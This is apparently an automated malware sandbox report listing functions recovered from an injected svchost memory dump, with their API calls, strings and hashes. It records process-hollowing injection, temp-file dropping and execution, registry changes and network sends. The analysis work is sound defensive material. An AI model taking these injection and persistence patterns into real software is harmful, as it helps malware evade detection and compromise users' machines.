GetLastError.KERNEL32(?,?,?,02D39A60,?,?,02D39E9D,?,?,?,?,?,02D39E9D,?,00000022,?), ref: 02D36B96

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$File$CreateDeleteDiskFreeSpace
String ID:
API String ID: 3188212458-0
Opcode ID: 0bba6e0689c16baad8622dfa09b5e7489840ed8e247c5eb6fc7410f68bfdd599
Instruction ID: 2255984866729b72bb1fa913c27fd628c88dab7bb551870283cc798080c8d54a
Opcode Fuzzy Hash: 0bba6e0689c16baad8622dfa09b5e7489840ed8e247c5eb6fc7410f68bfdd599
Instruction Fuzzy Hash: 8C31ACBAD00249BFDB029FA4C848ADEBBBDEF48340F144866E651A3341E7309D55CFA5

Function 02D36F5F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,02D3D7C3), ref: 02D36F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,02D3D7C3), ref: 02D36FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 02D36FE8
LocalFree.KERNEL32(00000120), ref: 02D3701F
wsprintfA.USER32 ref: 02D37036

Strings

/%d, xrefs: 02D37030
|, xrefs: 02D36FB3

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: 5f47ae57cd439d20cc53b92719786f3389e861428ace787259cd88dc89101f9a
Instruction ID: 353494a0e850b8e215c6dbb4ebd1907c58d1a9e615023baa05d09e5df73eeaea
Opcode Fuzzy Hash: 5f47ae57cd439d20cc53b92719786f3389e861428ace787259cd88dc89101f9a
Instruction Fuzzy Hash: 8B311A76A00108BFDB01DFA8D848ADA7BFCEF04354F148066F959DB240EB35DA08CBA4

Function 02D36CC9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,02D422F8,000000E4,02D36DDC,000000C8), ref: 02D36CE7
GetProcAddress.KERNEL32(00000000), ref: 02D36CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 02D36D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 02D36D2B

Strings

GetSystemWow64DirectoryA, xrefs: 02D36CDD
C:\Windows\SysWOW64\, xrefs: 02D36CC9, 02D36CD1, 02D36CFE, 02D36D05, 02D36D13, 02D36D1E, 02D36D2A, 02D36D42, 02D36D5F, 02D36D85
kernel32, xrefs: 02D36CE2

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$kernel32
API String ID: 1082366364-3395550214
Opcode ID: f1da47882a88203d965ae4a933b09c9e29a23d001ef507aacc1909109e43a3c9
Instruction ID: 8ef2509394503a1ba2efdc774d61d43f78c4825a7dd0fdc21f1f48842ade29c3
Opcode Fuzzy Hash: f1da47882a88203d965ae4a933b09c9e29a23d001ef507aacc1909109e43a3c9
Instruction Fuzzy Hash: 2E21FF55A802507BF7275B22EC8CF672F8D8B02745F080464FE44A6380CB948D4AC6F9

Function 02D3977C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,02D39947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,02D422F8), ref: 02D397B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,02D422F8), ref: 02D397EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,02D422F8), ref: 02D397F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,02D422F8), ref: 02D39831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,02D422F8), ref: 02D3984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,02D422F8), ref: 02D3985B

Strings

D, xrefs: 02D397A9

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: c70d21ab99829b0ada8191f31c528a29becc44957db35e8051922792ab81a36a
Instruction ID: eeb38c98a15d64d40d36e53454911d78d502a7207f1cac7c1de82745bb32f5f3
Opcode Fuzzy Hash: c70d21ab99829b0ada8191f31c528a29becc44957db35e8051922792ab81a36a
Instruction Fuzzy Hash: 1F213DB1D41119BBDB129FA1DC49FEF7BBCEF09655F000860FA19E1280EB709A54CAA0

Function 02D3E8A1 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02D3DD05: GetTickCount.KERNEL32 ref: 02D3DD0F
Part of subcall function 02D3DD05: InterlockedExchange.KERNEL32(02D436B4,00000001), ref: 02D3DD44
Part of subcall function 02D3DD05: GetCurrentThreadId.KERNEL32 ref: 02D3DD53

Part of subcall function 02D3DD84: lstrcmpiA.KERNEL32(80000011,00000000), ref: 02D3DDB5

lstrcpynA.KERNEL32(?,02D31E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,02D3EAAA,?,?), ref: 02D3E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,02D3EAAA,?,?,00000001,?,02D31E84,?), ref: 02D3E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,02D3EAAA,?,?,00000001,?,02D31E84,?,0000000A), ref: 02D3E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,02D3EAAA,?,?,00000001,?,02D31E84,?), ref: 02D3E94F

Strings

localcfg, xrefs: 02D3E8AB
flags_upd, xrefs: 02D3E8A7

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 129279cf43c186f2f15bc9a1086f0cf6c064a534e1cf4926cc6cbf6bf219c91a
Instruction ID: e63f099ca29f7d2a057275adde34705cd9e3b1828e6e09975a83e000351a2a9e
Opcode Fuzzy Hash: 129279cf43c186f2f15bc9a1086f0cf6c064a534e1cf4926cc6cbf6bf219c91a
Instruction Fuzzy Hash: CA51FE72D0020AAFCB12EFA8C9849AEB7FAFF48308F144569E505A7250D775EE15CF60

Function 02D36BA7 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 02D36BB2

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: 1d534eeee063094bca884a458890e4f84757e290dd97c432ba127645526fd714
Instruction ID: 26c88e2b2f00c7ec03f8a64e91f95e0f98c1589347778eacff1e8a6e8249f946
Opcode Fuzzy Hash: 1d534eeee063094bca884a458890e4f84757e290dd97c432ba127645526fd714
Instruction Fuzzy Hash: 1C216F76504105FFDB166F60ED48D9F7FACDB447A5B204915F602E1280EB31EE10DAB8

Function 02D39064 Relevance: 9.1, APIs: 6, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,02D422F8), ref: 02D3907B
wsprintfA.USER32 ref: 02D390E9
CreateFileA.KERNEL32(02D422F8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02D3910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 02D39122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 02D3912D
CloseHandle.KERNEL32(00000000), ref: 02D39134

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID:
API String ID: 2439722600-0
Opcode ID: 5689ba5b0c78f605d362444ad1ccac6f0c049e3a889dd84f0a2c3569c0f25dc1
Instruction ID: 47178b6c0695d7857df028a1ed3dc4cc60f0905882b281e52fec8ff704d6f49c
Opcode Fuzzy Hash: 5689ba5b0c78f605d362444ad1ccac6f0c049e3a889dd84f0a2c3569c0f25dc1
Instruction Fuzzy Hash: 5A118BB6A401147BFB696A22DC0DEAF37BEDFC4701F008465BB06E5281D9705E118AB0

Function 02D3DD05 Relevance: 9.0, APIs: 6, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D3DD0F
GetCurrentThreadId.KERNEL32 ref: 02D3DD20
GetTickCount.KERNEL32 ref: 02D3DD2E
Sleep.KERNEL32(00000000,?,75920F10,?,00000000,02D3E538,?,75920F10,?,00000000,?,02D3A445), ref: 02D3DD3B
InterlockedExchange.KERNEL32(02D436B4,00000001), ref: 02D3DD44
GetCurrentThreadId.KERNEL32 ref: 02D3DD53

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 838cb4f1c82517f05189a13d954d22637b7912cfc9c8ee35733bc16b25e200cb
Instruction ID: 2ac22dae2cbbada9b489cd3220a865721de4d99858ed8f9f73e9bc6a27919ab1
Opcode Fuzzy Hash: 838cb4f1c82517f05189a13d954d22637b7912cfc9c8ee35733bc16b25e200cb
Instruction Fuzzy Hash: E9F0BE7A9842159BC7815FA9F884B293BF6E745312F200865E709C2340CB20AC69CE22

Function 02D3AD08 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55stringnetworkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000080), ref: 02D3AD1C
lstrlenA.KERNEL32(00000000), ref: 02D3AD60
lstrlenA.KERNEL32(00000000), ref: 02D3AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 02D3AD7F

Strings

LocalHost, xrefs: 02D3AD79

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: ed387a78708c35566069b538a4689a283c96eacde28cc0507d2ab4103ea03e51
Instruction ID: 43d6627217a2d8534fdbf01438184c55057d05df818edfb1c6fdd9b679a65ab4
Opcode Fuzzy Hash: ed387a78708c35566069b538a4689a283c96eacde28cc0507d2ab4103ea03e51
Instruction Fuzzy Hash: B9014524A8418A5EDF370A38F844BF43F6AAB8660AF140065E4C08B311FF649C87C762

Function 02D34280 Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,02D398FD,00000001,00000100,02D422F8,02D3A3C7), ref: 02D34290
CloseHandle.KERNEL32(02D3A3C7), ref: 02D343AB
CloseHandle.KERNEL32(00000001), ref: 02D343AE

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID:
API String ID: 1371578007-0
Opcode ID: 8164fd574b3cf3d91c191043cc1d95c97c0a2e600d061d4d35f2bf95b15281ba
Instruction ID: 6c8613a056ca42ca01934c9b6f28b9c3202e99574b0b5cb293b82045f31fecff
Opcode Fuzzy Hash: 8164fd574b3cf3d91c191043cc1d95c97c0a2e600d061d4d35f2bf95b15281ba
Instruction Fuzzy Hash: 70417B71D40209BBDB12ABA1DE85FAFBFB9EF40365F104555F614A6280DB389E50CBA0

Function 02D36069 Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 02D3609C
LoadLibraryA.KERNEL32(?,?,02D364CF,00000000), ref: 02D360C3
GetProcAddress.KERNEL32(?,00000014), ref: 02D3614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 02D3619E

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: c54f042b02f97f6eb3afaf7c877319df6f1832cac46cad7f5da94dcd0b7d7f16
Instruction ID: 5252d4a3c2ae7316100b89e093e857b8f512b082a096627c13141d0006544d7e
Opcode Fuzzy Hash: c54f042b02f97f6eb3afaf7c877319df6f1832cac46cad7f5da94dcd0b7d7f16
Instruction Fuzzy Hash: 24415871E0020ABBDB26CF58C884BAAB7B9EF14358F248069E955D7391E730ED50CBD4

Function 02D32923 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f10aac3457828a07c661b3cc662f4429f30117c80e838d50a39fdb6af9ac93
Instruction ID: cf552421b9c6819dd46b56147368a9546beb174474f3955143888da7a3ddf691
Opcode Fuzzy Hash: 33f10aac3457828a07c661b3cc662f4429f30117c80e838d50a39fdb6af9ac93
Instruction Fuzzy Hash: A4319F75E00208ABDB129FA9CC85BBEB7F4EF48701F104456E984E6381E374DE41CB64

Function 02D326FF Relevance: 7.6, APIs: 5, Instructions: 96networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D3272E
htons.WS2_32(00000001), ref: 02D32752
htons.WS2_32(0000000F), ref: 02D327D5
htons.WS2_32(00000001), ref: 02D327E3
sendto.WS2_32(?,02D42BF8,00000009,00000000,00000010,00000010), ref: 02D32802

Part of subcall function 02D3EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,02D3EBFE,7FFF0001,?,02D3DB55,7FFF0001), ref: 02D3EBD3
Part of subcall function 02D3EBCC: RtlAllocateHeap.NTDLL(00000000,?,02D3DB55,7FFF0001), ref: 02D3EBDA

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 1e729e5db46a3976b287b1fe701af6a4435db9b43621dcccf0364771d5703278
Instruction ID: ba30dcc81daecaf873ce85e9eca6f453d1e5de642d214c579eaa4f7ace3e6a81
Opcode Fuzzy Hash: 1e729e5db46a3976b287b1fe701af6a4435db9b43621dcccf0364771d5703278
Instruction Fuzzy Hash: 84314578B843829FD7118F74D8C8A6177A4FF19318B1A886DEC95CB352D632DC92CB10

Function 02D39145 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,02D422F8), ref: 02D3915F
GetModuleFileNameA.KERNEL32(00000000), ref: 02D39166
CharToOemA.USER32(?,?), ref: 02D39174
wsprintfA.USER32 ref: 02D391A9

Part of subcall function 02D39064: GetTempPathA.KERNEL32(00000400,?,00000000,02D422F8), ref: 02D3907B
Part of subcall function 02D39064: wsprintfA.USER32 ref: 02D390E9
Part of subcall function 02D39064: CreateFileA.KERNEL32(02D422F8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02D3910E
Part of subcall function 02D39064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 02D39122
Part of subcall function 02D39064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 02D3912D
Part of subcall function 02D39064: CloseHandle.KERNEL32(00000000), ref: 02D39134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02D391E1

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID:
API String ID: 3857584221-0
Opcode ID: eb03ae10aa79fc6f6c85b094c5fd473f3da5845872b8606bf64ba7b526de6e58
Instruction ID: e3dca38c1175288deceaf6f744474983c2b3d8a31b85e81ff7386358db1cf549
Opcode Fuzzy Hash: eb03ae10aa79fc6f6c85b094c5fd473f3da5845872b8606bf64ba7b526de6e58
Instruction Fuzzy Hash: 150180FAD401187BD621AA61DC8DFDF37BCDB85702F000491BB49E2240DAB09E848FB0

Function 02D32419 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,02D32491,?,?,?,02D3E844,-00000030,?,?,?,00000001), ref: 02D32429
lstrlenA.KERNEL32(?,?,02D32491,?,?,?,02D3E844,-00000030,?,?,?,00000001,02D31E3D,00000001,localcfg,lid_file_upd), ref: 02D3243E
lstrcmpiA.KERNEL32(?,?), ref: 02D32452
lstrlenA.KERNEL32(?,?,02D32491,?,?,?,02D3E844,-00000030,?,?,?,00000001,02D31E3D,00000001,localcfg,lid_file_upd), ref: 02D32467

Strings

localcfg, xrefs: 02D3241F

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: bbc0941e922c8104b448822884fcd6566349688cfe23103d27b6e9d906d20f01
Instruction ID: a1df0433084342aab9ed5f9e3909a3184d76ef1b7d51d0c8179b1d0e2d2b47ca
Opcode Fuzzy Hash: bbc0941e922c8104b448822884fcd6566349688cfe23103d27b6e9d906d20f01
Instruction Fuzzy Hash: 2501DA31A00218AFCF16EF69DC849DE7BE9EF54365B11C425ED6997201E330EE50CA90

Function 02D31C5F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02D31CE1
wsprintfA.USER32 ref: 02D31D6B

Strings

localcfg, xrefs: 02D31C70
%u.%u.%u.%u.%s, xrefs: 02D31CDB, 02D31D65

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: d7bafa867cee55f3c367b1f14e0eebde36283933900a6dc53200a49cceba8cdc
Instruction ID: 565835044a4e52afbf7f2c6a0fc2a3348910929ffa40bb23c3a8b48184313a1d
Opcode Fuzzy Hash: d7bafa867cee55f3c367b1f14e0eebde36283933900a6dc53200a49cceba8cdc
Instruction Fuzzy Hash: 98419C729042999FDB22CF78DC44BEE3BE99F4A310F240056FAA4D3241D634EA05CBA0

Function 02D3E654 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02D3DD05: GetTickCount.KERNEL32 ref: 02D3DD0F
Part of subcall function 02D3DD05: InterlockedExchange.KERNEL32(02D436B4,00000001), ref: 02D3DD44
Part of subcall function 02D3DD05: GetCurrentThreadId.KERNEL32 ref: 02D3DD53

lstrcmpA.KERNEL32(75920F18,00000000,?,75920F10,00000000,?,02D35EC1), ref: 02D3E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,75920F10,00000000,?,02D35EC1), ref: 02D3E6E9
lstrcmpA.KERNEL32(89ABCDEF,00000008,?,75920F10,00000000,?,02D35EC1), ref: 02D3E722

Strings

89ABCDEF, xrefs: 02D3E721

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: 89ABCDEF
API String ID: 3343386518-71641322
Opcode ID: 24da5abacaade91da085064d300018c669f1e57f1c18f34c686ccd1eb49ffa72
Instruction ID: 8b887a2b5a62ea7e652c38d956612dd28b956ff19bfc2098546c3bb179e8193f
Opcode Fuzzy Hash: 24da5abacaade91da085064d300018c669f1e57f1c18f34c686ccd1eb49ffa72
Instruction Fuzzy Hash: 2831CF71A00745DBCF328F65D888B6677E5EF01765F10892AE95587782D770EC80CF91

Function 02D3E095 Relevance: 6.1, APIs: 4, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,02D3E2A3,00000000,00000000,00000000,00020106,00000000,02D3E2A3,00000000,000000E4), ref: 02D3E0B2
RegSetValueExA.ADVAPI32(02D3E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,02D422F8), ref: 02D3E127
RegDeleteValueA.ADVAPI32(02D3E2A3,?,?,?,?,?,000000C8,02D422F8), ref: 02D3E158
RegCloseKey.ADVAPI32(02D3E2A3,?,?,?,?,000000C8,02D422F8,?,?,?,?,?,?,?,?,02D3E2A3), ref: 02D3E161

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID:
API String ID: 2667537340-0
Opcode ID: 05e6895be4d7b27df49c30f0fd60a034e41abfd264f06b141f89365b52ba6f7d
Instruction ID: cc95ba152696ba97a5d3b8611f5093741d50a65d7bdf6b2c98c73cefe57ac9b8
Opcode Fuzzy Hash: 05e6895be4d7b27df49c30f0fd60a034e41abfd264f06b141f89365b52ba6f7d
Instruction Fuzzy Hash: DA215C72E00219BBDF219FA4DC89EDE7FB9EF09750F148061F904A6290E7319E14DBA0

Function 02D33F8C Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,02D3A3C7,00000000,00000000,000007D0,00000001), ref: 02D33FB8
GetLastError.KERNEL32 ref: 02D33FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 02D33FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 02D33FE6

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 60c488f460f6b3b5be54e46e67e382dd7ee3b96d88665740f1937fdb91b95c19
Instruction ID: c5b00ffc578409b74b00455a9b2251181073df6ca1ead43b0ff0330f2a5ef932
Opcode Fuzzy Hash: 60c488f460f6b3b5be54e46e67e382dd7ee3b96d88665740f1937fdb91b95c19
Instruction Fuzzy Hash: C301D77291010AABDF12DF94D945BEE7BBCEB04356F504451FA02E2180D770EE64CFA1

Function 02D33F18 Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,02D3A3C7,00000000,00000000,000007D0,00000001), ref: 02D33F44
GetLastError.KERNEL32 ref: 02D33F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 02D33F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 02D33F72

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: bb23ebf7ea2c68d9ca5ec6fb52cad965ba627b0fe5daba9d9605981ffefd0a3b
Instruction ID: 105aaf277a1a16052d3cd28c8c96b073e08f7d66bcbb61ba7b20582fdc2479d9
Opcode Fuzzy Hash: bb23ebf7ea2c68d9ca5ec6fb52cad965ba627b0fe5daba9d9605981ffefd0a3b
Instruction Fuzzy Hash: 9801D372955109ABDB16DE90DE84BEE7BBCEB04356F504465FA01E6280D730EE24CBA2

Function 02D3A4C7 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D3A4D1
GetTickCount.KERNEL32 ref: 02D3A4E4
Sleep.KERNEL32(00000000,?,02D3C2E9,02D3C4E0,00000000,localcfg,?,02D3C4E0,02D43588,02D38810), ref: 02D3A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 02D3A4FA

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: f60e9cde0336df4e61330ea9a969f5dd990abf576351e0044765efffc0c9a594
Instruction ID: 1a614590f0d243e2b627475d5c07554b24c6897c28b55cfc1d164c16d8944723
Opcode Fuzzy Hash: f60e9cde0336df4e61330ea9a969f5dd990abf576351e0044765efffc0c9a594
Instruction Fuzzy Hash: E7E0263734021457C7005BA5EC84F6A33D8AB89772F150421FB48D3340C616BC5185B2

Function 02D34E92 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D34E9E
GetTickCount.KERNEL32 ref: 02D34EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 02D34EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 02D34EC3

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d30000_svchost.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: fe9b8a400848aaf33424146a996c31bbb8e5025f1d191712d6446b0ab1fac2d2
Instruction ID: bff9c32fdf5e854da7742470db9f38c12b4e7402ba963df438a44c91defe87db
Opcode Fuzzy Hash: fe9b8a400848aaf33424146a996c31bbb8e5025f1d191712d6446b0ab1fac2d2
Instruction Fuzzy Hash: 54E0CD7774121457D7102AF9ED84F5777D99B85372F110931F709E2340C65AEC5245F1

Function 02D34BD1 Relevance: 6.0, APIs: 4, Instructions: 27sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02D34BDD
GetTickCount.KERNEL32 ref: 02D34BEC
Sleep.KERNEL32(00000000,?,?,?,0321B06C,02D350F2), ref: 02D34BF9
InterlockedExchange.KERNEL32(0321B060,00000001), ref: 02D34C02

Memory Dump Source

Source File: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02D30000, based on PE: true

Joe Sandbox IDA Plugin

